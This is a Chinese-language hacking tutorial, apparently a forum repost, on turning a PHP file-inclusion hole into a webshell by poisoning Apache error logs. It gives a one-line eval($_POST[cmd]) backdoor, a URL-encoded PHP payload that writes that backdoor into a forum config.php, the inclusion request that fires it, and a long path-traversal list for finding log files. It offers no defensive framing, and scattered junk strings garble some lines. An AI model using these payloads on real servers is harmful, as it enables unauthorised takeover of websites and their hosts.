php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
* d5 T# v. v5 ?) Q; j: {1 K
比如还是这句一句话木马
<?eval($_POST[cmd]);?>   

* |( c# a8 J) E- E+ a$ f到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

1 S0 `& L- Y% z. u; M3 b2 b8 d<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句

, q# O3 g) B# C# l我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
+ f: I2 Q8 ]! S9 s' \转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
- m& [, I& s' b# W0 O1 g3 x7 `我们提交
' x, q. b( @" j. c" z1 Z5 e& Z2 jhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

6 C% ?$ v! ?3 @/ B这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

! T  }& h& v. ~4 Y9 a! m; K1 B这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
5 W4 h# N- {  w4 v/ Whttp://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。
" R# D+ s3 m0 y: o& y( A
- v$ c+ h( l* w# i% EPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
6 |3 A" r. r* S/ L# R/ O8 k, H: ?
其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
. N# J& C. M- H9 V, X../../../../../../../../../../var/log/httpd/error_log
" w  n* ]( e9 p; b! o7 A5 P../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
! i. U: T3 D( B../../../apache/logs/error.log
$ Z2 {% ~( ^1 ]7 I) \../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
$ M( Q2 f# N1 Q7 X# n) b../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
% i5 z- b/ k% X! h$ N# {6 t../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
' N) T* e3 r4 D# w3 E/ d/ y' k$ I9 b../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
" Q5 B  O) I7 Q& r../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
  r/ t6 T  e, F3 }. \* o/ I../../../../../../../../../../var/log/access_log
7 t$ t& O, y( t5 o, {../../../../../../../../../../var/www/logs/error_log
3 I, I3 v! l$ J; z../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
../apache/logs/error.log     
../apache/logs/access.log
) x$ S5 i+ E- M# V  {../../apache/logs/error.log
; r2 f) G# B$ \/ K5 ^  e8 m../../apache/logs/access.log
1 H. ^' h( F. N8 e- L# s6 R../../../apache/logs/error.log
& A, N; n* A9 C* w5 I../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
, j7 h: |0 g+ m2 W9 l/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
' H; z; H6 ~  B, t/var/log/apache/access.log
# _4 H8 N5 P% H! T, v' `) {+ A# n/var/log/access_log
# z7 w9 T" M0 P0 `4 B5 P7 [/var/www/logs/error_log
/var/www/logs/error.log
$ i5 u* n/ j" S! _- s/usr/local/apache/logs/error_log
) q4 A5 D) N: L% v0 t/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
6 w  K4 t8 c. J( B6 J) R7 @/var/log/error_log